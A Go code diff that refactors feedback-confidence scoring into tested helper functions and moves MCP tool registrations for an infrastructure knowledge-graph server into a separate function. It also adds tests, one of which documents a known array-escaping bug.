{"multiple", []string{"a", "b"}, `{"a","b"}`},
|
||||||
|
{"nil", nil, "{}"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
got := toPGArray(c.tags)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("toPGArray() = %q, want %q", got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Special chars: tags containing " or \ are NOT escaped by toPGArray.
|
||||||
|
// This is a latent bug — Postgres array literals require these to be
|
||||||
|
// backslash-escaped. Test documents current behavior so a fix is
|
||||||
|
// detectable. Should be fixed.
|
||||||
|
t.Run("special chars unescaped (current buggy behavior)", func(t *testing.T) {
|
||||||
|
got := toPGArray([]string{`a"b`, `c\d`})
|
||||||
|
// Current output: {"a"b","c\d"} — invalid Postgres array literal.
|
||||||
|
want := `{"a"b","c\d"}`
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("toPGArray(special) = %q, want %q (if this changed, the escaping bug was fixed — update this test)", got, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -83,27 +83,13 @@ func extractPatterns(ctx context.Context, pool *db.Pool, watermark time.Time) ti
|
|||||||
func processGroup(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
func processGroup(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
||||||
appliesType, action string, items []sqlcgen.GetFeedbackAfterWatermarkRow) {
|
appliesType, action string, items []sqlcgen.GetFeedbackAfterWatermarkRow) {
|
||||||
|
|
||||||
successCount := 0
|
successCount, failureCount := countOutcomes(items)
|
||||||
failureCount := 0
|
|
||||||
for _, f := range items {
|
|
||||||
switch f.Outcome {
|
|
||||||
case "success":
|
|
||||||
successCount++
|
|
||||||
case "failure", "unexpected":
|
|
||||||
failureCount++
|
|
||||||
case "partial":
|
|
||||||
successCount++ // partial counts as half-success
|
|
||||||
}
|
|
||||||
}
|
|
||||||
total := successCount + failureCount
|
total := successCount + failureCount
|
||||||
if total == 0 {
|
if total == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Compute Wilson score lower bound
|
confidence := computeConfidence(successCount, failureCount)
|
||||||
confidence := wilsonLowerBound(float64(successCount), float64(total), 0.95)
|
|
||||||
// Cap by sample size: nothing looks confident before 5 samples
|
|
||||||
confidence = math.Min(confidence, float64(total)/5.0)
|
|
||||||
|
|
||||||
// Get or create pattern — first look up existing entity, then upsert.
|
// Get or create pattern — first look up existing entity, then upsert.
|
||||||
existing, err := q.GetPattern(ctx, sqlcgen.GetPatternParams{
|
existing, err := q.GetPattern(ctx, sqlcgen.GetPatternParams{
|
||||||
@@ -148,7 +134,7 @@ func processGroup(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if pat.EvidenceCount >= 5 && pat.Confidence >= 0.7 && !pat.Quarantined {
|
if shouldValidate(int(pat.EvidenceCount), float64(pat.Confidence), pat.Quarantined) {
|
||||||
_ = q.UpdatePatternStatus(ctx, sqlcgen.UpdatePatternStatusParams{
|
_ = q.UpdatePatternStatus(ctx, sqlcgen.UpdatePatternStatusParams{
|
||||||
EntityID: pat.EntityID,
|
EntityID: pat.EntityID,
|
||||||
Status: "validated",
|
Status: "validated",
|
||||||
@@ -158,8 +144,7 @@ func processGroup(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
|||||||
"confidence", confidence, "samples", total)
|
"confidence", confidence, "samples", total)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Anomaly check: >10 identical outcomes within 1h
|
if shouldQuarantine(total) {
|
||||||
if total > 10 {
|
|
||||||
_ = q.UpdatePatternQuarantine(ctx, sqlcgen.UpdatePatternQuarantineParams{
|
_ = q.UpdatePatternQuarantine(ctx, sqlcgen.UpdatePatternQuarantineParams{
|
||||||
EntityID: pat.EntityID,
|
EntityID: pat.EntityID,
|
||||||
Quarantined: true,
|
Quarantined: true,
|
||||||
@@ -169,6 +154,45 @@ func processGroup(ctx context.Context, pool *db.Pool, q *sqlcgen.Queries,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// countOutcomes tallies feedback items into success and failure counts.
|
||||||
|
// "partial" counts as a half-success (increments success).
|
||||||
|
func countOutcomes(items []sqlcgen.GetFeedbackAfterWatermarkRow) (success, failure int) {
|
||||||
|
for _, f := range items {
|
||||||
|
switch f.Outcome {
|
||||||
|
case "success":
|
||||||
|
success++
|
||||||
|
case "failure", "unexpected":
|
||||||
|
failure++
|
||||||
|
case "partial":
|
||||||
|
success++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return success, failure
|
||||||
|
}
|
||||||
|
|
||||||
|
// computeConfidence calculates the Wilson score lower bound, capped by
|
||||||
|
// sample size (nothing looks confident before 5 samples).
|
||||||
|
func computeConfidence(success, failure int) float64 {
|
||||||
|
total := success + failure
|
||||||
|
if total == 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
confidence := wilsonLowerBound(float64(success), float64(total), 0.95)
|
||||||
|
return math.Min(confidence, float64(total)/5.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldValidate returns true when a pattern has enough evidence and
|
||||||
|
// confidence to be promoted from "hypothesized" to "validated".
|
||||||
|
func shouldValidate(evidenceCount int, confidence float64, quarantined bool) bool {
|
||||||
|
return evidenceCount >= 5 && confidence >= 0.7 && !quarantined
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldQuarantine returns true when an anomaly burst is detected
|
||||||
|
// (>10 identical outcomes, indicating a runaway loop rather than organic feedback).
|
||||||
|
func shouldQuarantine(total int) bool {
|
||||||
|
return total > 10
|
||||||
|
}
|
||||||
|
|
||||||
// wilsonLowerBound computes the Wilson score interval lower bound.
|
// wilsonLowerBound computes the Wilson score interval lower bound.
|
||||||
// Conservative estimate of success rate for small sample sizes.
|
// Conservative estimate of success rate for small sample sizes.
|
||||||
func wilsonLowerBound(success, total, z float64) float64 {
|
func wilsonLowerBound(success, total, z float64) float64 {
|
||||||
|
|||||||
211
internal/learning/learning_test.go
Normal file
211
internal/learning/learning_test.go
Normal file
@@ -0,0 +1,211 @@
|
|||||||
|
package learning
|
||||||
|
|
||||||
|
import (
|
||||||
|
"math"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWilsonLowerBound(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
success float64
|
||||||
|
total float64
|
||||||
|
z float64
|
||||||
|
want float64
|
||||||
|
// For approximate checks
|
||||||
|
approx bool
|
||||||
|
epsilon float64
|
||||||
|
}{
|
||||||
|
{"zero total", 5, 0, 1.96, 0, false, 0},
|
||||||
|
{"zero success", 0, 10, 1.96, 0, true, 1e-10},
|
||||||
|
{"all success small n", 3, 3, 1.96, 0, true, 0.5},
|
||||||
|
{"all success large n", 100, 100, 1.96, 0, true, 0.05},
|
||||||
|
{"half success large n", 50, 100, 1.96, 0.39, true, 0.02},
|
||||||
|
{"higher z gives lower bound", 8, 10, 3.0, 0, true, 0.5},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := wilsonLowerBound(tt.success, tt.total, tt.z)
|
||||||
|
if tt.approx {
|
||||||
|
if tt.want > 0 && math.Abs(got-tt.want) > tt.epsilon {
|
||||||
|
t.Errorf("wilsonLowerBound(%v, %v, %v) = %v, want ~%v (±%v)", tt.success, tt.total, tt.z, got, tt.want, tt.epsilon)
|
||||||
|
}
|
||||||
|
if got < 0 {
|
||||||
|
t.Errorf("wilsonLowerBound returned negative: %v", got)
|
||||||
|
}
|
||||||
|
if got > 1 {
|
||||||
|
t.Errorf("wilsonLowerBound returned >1: %v", got)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if got != tt.want {
|
||||||
|
t.Errorf("wilsonLowerBound(%v, %v, %v) = %v, want %v", tt.success, tt.total, tt.z, got, tt.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWilsonLowerBoundMonotonic(t *testing.T) {
|
||||||
|
prev := 0.0
|
||||||
|
for s := 0.0; s <= 20; s++ {
|
||||||
|
got := wilsonLowerBound(s, 20, 1.96)
|
||||||
|
if got < prev-1e-9 {
|
||||||
|
t.Errorf("not monotonically increasing: s=%v got=%v prev=%v", s, got, prev)
|
||||||
|
}
|
||||||
|
prev = got
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCountOutcomes(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
items []sqlcgen.GetFeedbackAfterWatermarkRow
|
||||||
|
wantSuccess int
|
||||||
|
wantFailure int
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
"empty",
|
||||||
|
nil,
|
||||||
|
0, 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"all success",
|
||||||
|
[]sqlcgen.GetFeedbackAfterWatermarkRow{
|
||||||
|
{Outcome: "success"},
|
||||||
|
{Outcome: "success"},
|
||||||
|
},
|
||||||
|
2, 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"all failure",
|
||||||
|
[]sqlcgen.GetFeedbackAfterWatermarkRow{
|
||||||
|
{Outcome: "failure"},
|
||||||
|
{Outcome: "unexpected"},
|
||||||
|
},
|
||||||
|
0, 2,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"mixed including partial",
|
||||||
|
[]sqlcgen.GetFeedbackAfterWatermarkRow{
|
||||||
|
{Outcome: "success"},
|
||||||
|
{Outcome: "failure"},
|
||||||
|
{Outcome: "partial"},
|
||||||
|
{Outcome: "unexpected"},
|
||||||
|
},
|
||||||
|
2, 2,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"unknown outcome ignored",
|
||||||
|
[]sqlcgen.GetFeedbackAfterWatermarkRow{
|
||||||
|
{Outcome: "success"},
|
||||||
|
{Outcome: "bogus"},
|
||||||
|
},
|
||||||
|
1, 0,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
s, f := countOutcomes(tt.items)
|
||||||
|
if s != tt.wantSuccess || f != tt.wantFailure {
|
||||||
|
t.Errorf("countOutcomes() = (%d, %d), want (%d, %d)", s, f, tt.wantSuccess, tt.wantFailure)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestComputeConfidence(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
success int
|
||||||
|
failure int
|
||||||
|
wantMax float64
|
||||||
|
wantMin float64
|
||||||
|
}{
|
||||||
|
{"zero total", 0, 0, 0, 0},
|
||||||
|
{"one success no failures", 1, 0, 0.2, 0},
|
||||||
|
{"five success no failures", 5, 0, 1.0, 0.3},
|
||||||
|
{"ten success no failures", 10, 0, 1.0, 0.5},
|
||||||
|
{"half success", 5, 5, 0.5, 0.2},
|
||||||
|
{"all failures", 0, 10, 0.01, 0},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := computeConfidence(tt.success, tt.failure)
|
||||||
|
if got < 0 || got > 1 {
|
||||||
|
t.Errorf("confidence out of [0,1]: %v", got)
|
||||||
|
}
|
||||||
|
if got > tt.wantMax+0.01 {
|
||||||
|
t.Errorf("confidence too high: got %v, max ~%v", got, tt.wantMax)
|
||||||
|
}
|
||||||
|
if tt.wantMin > 0 && got < tt.wantMin-0.1 {
|
||||||
|
t.Errorf("confidence too low: got %v, min ~%v", got, tt.wantMin)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestComputeConfidenceSampleSizeCap(t *testing.T) {
|
||||||
|
got := computeConfidence(1, 0)
|
||||||
|
if got > 0.2+1e-9 {
|
||||||
|
t.Errorf("sample size cap not applied: 1 sample should cap at 1/5=0.2, got %v", got)
|
||||||
|
}
|
||||||
|
got = computeConfidence(4, 0)
|
||||||
|
if got > 0.8+1e-9 {
|
||||||
|
t.Errorf("sample size cap not applied: 4 samples should cap at 4/5=0.8, got %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestShouldValidate(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
evidenceCount int
|
||||||
|
confidence float64
|
||||||
|
quarantined bool
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"enough evidence and confidence", 5, 0.7, false, true},
|
||||||
|
{"high evidence high confidence", 10, 0.9, false, true},
|
||||||
|
{"not enough evidence", 4, 0.9, false, false},
|
||||||
|
{"not enough confidence", 5, 0.69, false, false},
|
||||||
|
{"quarantined blocks validation", 10, 0.9, true, false},
|
||||||
|
{"exactly at threshold", 5, 0.7, false, true},
|
||||||
|
{"zero evidence", 0, 0.9, false, false},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := shouldValidate(tt.evidenceCount, tt.confidence, tt.quarantined)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Errorf("shouldValidate(%d, %v, %v) = %v, want %v", tt.evidenceCount, tt.confidence, tt.quarantined, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestShouldQuarantine(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
total int
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"zero", 0, false},
|
||||||
|
{"small", 5, false},
|
||||||
|
{"at threshold", 10, false},
|
||||||
|
{"over threshold", 11, true},
|
||||||
|
{"large burst", 50, true},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := shouldQuarantine(tt.total)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Errorf("shouldQuarantine(%d) = %v, want %v", tt.total, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -68,708 +68,9 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
|
|||||||
s := mcp.NewServer(&mcp.Implementation{Name: "oikos", Version: "dev"}, &mcp.ServerOptions{
|
s := mcp.NewServer(&mcp.Implementation{Name: "oikos", Version: "dev"}, &mcp.ServerOptions{
|
||||||
Logger: slog.Default(),
|
Logger: slog.Default(),
|
||||||
})
|
})
|
||||||
|
for _, t := range allTools(pool, agentID) {
|
||||||
register := func(tool *mcp.Tool, handler toolHandler) {
|
s.AddTool(t.tool, withActivityLogging(pool, agentID, t.tool.Name, t.handler))
|
||||||
s.AddTool(tool, withActivityLogging(pool, agentID, tool.Name, handler))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_entity", Description: "Get an entity by slug or UUID",
|
|
||||||
InputSchema: objSchema(prop{"slug_or_id", "string", "Entity slug (e.g. host:hubris) or UUID"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
idOrSlug, _ := args["slug_or_id"].(string)
|
|
||||||
return queryEntity(ctx, pool, idOrSlug), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "list_entities", Description: "List entities filtered by type, state, or search",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"type", "string", "Filter by entity type"},
|
|
||||||
prop{"state", "string", "Filter by lifecycle state"},
|
|
||||||
prop{"q", "string", "Substring match on slug or name"},
|
|
||||||
prop{"limit", "integer", "Max rows (default 50)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
limit := int(getFloat(args, "limit", 50))
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, e.name, e.state, e.version, e.created_at, e.updated_at
|
|
||||||
FROM entities e
|
|
||||||
WHERE ($1::text IS NULL OR e.type = $1)
|
|
||||||
AND ($2::text IS NULL OR e.state = $2)
|
|
||||||
AND ($3::text IS NULL OR e.slug ILIKE '%'||$3||'%' OR e.name ILIKE '%'||$3||'%')
|
|
||||||
ORDER BY e.slug LIMIT $4`,
|
|
||||||
nStr(args["type"]), nStr(args["state"]), nStr(args["q"]), limit), "entity_table"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_relations", Description: "Get relationships for an entity",
|
|
||||||
InputSchema: objSchema(prop{"entity_id", "string", "Entity slug"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["entity_id"].(string)
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT r.type, src.slug AS source, tgt.slug AS target
|
|
||||||
FROM relationships r
|
|
||||||
JOIN entities src ON src.id = r.source_id
|
|
||||||
JOIN entities tgt ON tgt.id = r.target_id
|
|
||||||
WHERE (src.slug = $1 OR tgt.slug = $1) AND r.valid_to IS NULL
|
|
||||||
ORDER BY r.type`, slug), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_blast_radius", Description: "Find entities affected if this entity goes down",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"entity_id", "string", "Entity slug"},
|
|
||||||
prop{"depth", "integer", "Traversal depth (default 3)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["entity_id"].(string)
|
|
||||||
depth := int(getFloat(args, "depth", 3))
|
|
||||||
return queryRows(ctx, pool,
|
|
||||||
"SELECT e.slug, CAST(b.depth AS int) FROM blast_radius((SELECT id FROM entities WHERE slug = $1), $2) b JOIN entities e ON e.id = b.entity_id",
|
|
||||||
slug, depth), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_health_summary", Description: "Current fleet health summary",
|
|
||||||
InputSchema: objSchema(),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, st.health, st.last_check_at
|
|
||||||
FROM entity_status st JOIN entities e ON e.id = st.entity_id
|
|
||||||
WHERE e.type <> 'check'
|
|
||||||
ORDER BY e.slug`), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_audit_trail", Description: "Query the audit log",
|
|
||||||
InputSchema: objSchema(prop{"entity_id", "string", "Filter by affected entity UUID"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT id, ts, actor_type, action, entity_id::text, method, path, correlation_id
|
|
||||||
FROM audit_log
|
|
||||||
WHERE ($1::text IS NULL OR entity_id::text = $1)
|
|
||||||
ORDER BY ts DESC LIMIT 50`, nStr(args["entity_id"])), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "search_knowledge", Description: "Full-text search across documentation (PostgreSQL FTS with ts_rank ranking). Returns a short snippet per hit, not the full note — call get_knowledge_content with the returned slug to read the whole thing.",
|
|
||||||
InputSchema: objSchema(prop{"query", "string", "Search terms"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
q := nStr(args["query"])
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT ke.title, e.slug,
|
|
||||||
ts_rank(ke.search, plainto_tsquery('english', $1)) AS rank,
|
|
||||||
ts_headline('english', ke.content, plainto_tsquery('english', $1),
|
|
||||||
'MaxWords=40, MinWords=15, ShortWord=3, MaxFragments=3,
|
|
||||||
FragmentDelimiter=" ... "') AS snippet,
|
|
||||||
ke.source, ke.tags
|
|
||||||
FROM knowledge_entities ke
|
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
|
||||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
|
||||||
ORDER BY rank DESC
|
|
||||||
LIMIT 20`, q), "knowledge_results"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_entity_knowledge", Description: "All documents, investigations, and runbooks linked to an entity. Returns a headline per note, not the full text — call get_knowledge_content with the returned slug to read the whole thing.",
|
|
||||||
InputSchema: objSchema(prop{"entity_slug", "string", "Entity slug (e.g. lxc:jellyfin, service:caddy)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["entity_slug"].(string)
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT ke.title, ke.source, e.type AS kind, e.slug,
|
|
||||||
ts_headline('english', ke.content, plainto_tsquery('english', '')) AS headline
|
|
||||||
FROM knowledge_entities ke
|
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
|
||||||
JOIN relationships r ON r.source_id = ke.entity_id
|
|
||||||
JOIN entities target ON target.id = r.target_id
|
|
||||||
WHERE target.slug = $1
|
|
||||||
AND r.valid_to IS NULL
|
|
||||||
AND r.type IN ('documents', 'about')
|
|
||||||
UNION
|
|
||||||
SELECT ke.title, ke.source, e.type AS kind, e.slug,
|
|
||||||
ts_headline('english', ke.content, plainto_tsquery('english', '')) AS headline
|
|
||||||
FROM knowledge_entities ke
|
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
|
||||||
JOIN relationships r ON r.source_id = ke.entity_id
|
|
||||||
JOIN entity_types target_type ON target_type.name = (SELECT type FROM entities WHERE slug = $1)
|
|
||||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
|
||||||
WHERE r.valid_to IS NULL
|
|
||||||
AND r.type = 'procedure-for'
|
|
||||||
ORDER BY 1`, slug), "knowledge_results"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_knowledge_content", Description: "Full markdown body of one document/investigation/runbook, by its own entity slug. search_knowledge and get_entity_knowledge only return short snippets/headlines — once you know which note you need (from either of those, or because you already know its slug), call this to read the whole thing before acting on it.",
|
|
||||||
InputSchema: objSchema(prop{"slug", "string", "The knowledge entity's own slug (e.g. document:containers/101-jellyfin, runbook:client-enrollment) — not the slug of an entity it's about."}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["slug"].(string)
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT ke.title, e.slug, e.type AS kind, ke.content, ke.source, ke.tags, ke.updated_at::text
|
|
||||||
FROM knowledge_entities ke
|
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
|
||||||
WHERE e.slug = $1`, slug), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "upsert_knowledge", Description: "Write back what you learned so future sessions (and future you) benefit — this is how the system gets smarter over time. Use it AFTER solving a non-obvious problem, deploying a service, or discovering a gotcha: record the finding, the fix, and any caveats. Re-calling with the same title updates the existing note instead of duplicating. This is the ONLY way to persist knowledge; a chat message alone is forgotten. search_knowledge/get_entity_knowledge find it, get_knowledge_content reads the full body back.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"title", "string", "Short, specific, searchable title (e.g. 'Dragonfly memlock rlimit in unprivileged LXCs', not 'notes')."},
|
|
||||||
prop{"content", "string", "The knowledge itself, in markdown. Be concrete: symptom, root cause, the exact fix/commands, and any caveats. Written for someone hitting this fresh."},
|
|
||||||
prop{"about", "string", "Optional entity slug(s) this knowledge concerns. Pass a single slug (e.g. 'lxc:nfs-export') or a JSON array of slugs (e.g. '[\"lxc:nfs-export\", \"lxc:gitea\"]') to link to multiple entities. get_entity_knowledge surfaces it for each."},
|
|
||||||
prop{"tags", "string", "Optional comma-separated tags (e.g. 'docker,networking,gotcha')."},
|
|
||||||
prop{"kind", "string", "One of: investigation (a finding/incident analysis — default), document (reference), runbook (a repeatable procedure)."},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
return upsertKnowledge(ctx, pool, args)
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "update_entity_attributes", Description: "Merge new/changed attributes into an entity — the OTHER half of avoiding knowledge-base drift (upsert_knowledge records what you learned; this keeps the entity's own facts current). Use it when you discover something concrete about an entity's actual state that the graph doesn't reflect yet: a new IP, a version number, a config value, a discovered port — anything a FUTURE task would otherwise have to rediscover from scratch. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). Merges shallowly — existing keys not mentioned are kept; keys you pass overwrite.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"slug", "string", "Entity slug to update (e.g. lxc:typetype, host:strong)."},
|
|
||||||
prop{"attributes", "string", "JSON object string of attributes to merge in, e.g. {\"lan_ip\":\"192.168.8.50\",\"os\":\"debian-12\"}."},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["slug"].(string)
|
|
||||||
attrsStr, _ := args["attributes"].(string)
|
|
||||||
if slug == "" || attrsStr == "" {
|
|
||||||
return textResult("error: slug and attributes are required"), nil
|
|
||||||
}
|
|
||||||
var attrs map[string]any
|
|
||||||
if err := json.Unmarshal([]byte(attrsStr), &attrs); err != nil {
|
|
||||||
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
|
|
||||||
}
|
|
||||||
attrsJSON, _ := json.Marshal(attrs)
|
|
||||||
ct, err := pool.Exec(ctx, `
|
|
||||||
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
|
||||||
WHERE slug = $1`, slug, string(attrsJSON))
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("error updating %s: %v", slug, err)), nil
|
|
||||||
}
|
|
||||||
if ct.RowsAffected() == 0 {
|
|
||||||
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
|
||||||
}
|
|
||||||
return textResult(fmt.Sprintf("Updated %s with %d attribute(s).", slug, len(attrs))), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "create_relationship", Description: "Record a relationship you discovered between two entities — the graph-structure half of keeping the knowledge base current (alongside update_entity_attributes and upsert_knowledge). Use it when you learn that one entity depends on, hosts, routes to, etc. another, and that edge isn't in the graph yet. type must be an existing relationship type (see get_relations output on similar entities for examples: hosts, provides, depends-on, configured-by, about, documents, ...). Idempotent — re-calling the same source/target/type is a no-op. Does NOT require approval.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"source", "string", "Source entity slug."},
|
|
||||||
prop{"target", "string", "Target entity slug."},
|
|
||||||
prop{"type", "string", "Relationship type name (must already exist in the ontology)."},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
source, _ := args["source"].(string)
|
|
||||||
target, _ := args["target"].(string)
|
|
||||||
relType, _ := args["type"].(string)
|
|
||||||
if source == "" || target == "" || relType == "" {
|
|
||||||
return textResult("error: source, target, and type are required"), nil
|
|
||||||
}
|
|
||||||
var sourceID, targetID uuid.UUID
|
|
||||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", source).Scan(&sourceID); err != nil {
|
|
||||||
return textResult(fmt.Sprintf("error: source entity %q not found", source)), nil
|
|
||||||
}
|
|
||||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", target).Scan(&targetID); err != nil {
|
|
||||||
return textResult(fmt.Sprintf("error: target entity %q not found", target)), nil
|
|
||||||
}
|
|
||||||
_, err := pool.Exec(ctx, `
|
|
||||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
|
||||||
SELECT $1, $2, $3, '{"by":"nomos"}'::jsonb, now()
|
|
||||||
WHERE NOT EXISTS (
|
|
||||||
SELECT 1 FROM relationships
|
|
||||||
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL)`,
|
|
||||||
sourceID, targetID, relType)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("error creating relationship: %v (is %q a valid relationship type?)", err, relType)), nil
|
|
||||||
}
|
|
||||||
return textResult(fmt.Sprintf("Recorded: %s —%s→ %s", source, relType, target)), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "query_metrics", Description: "Query time-series metrics",
|
|
||||||
InputSchema: objSchema(prop{"hours", "integer", "Look-back window in hours (default 24)"}),
|
|
||||||
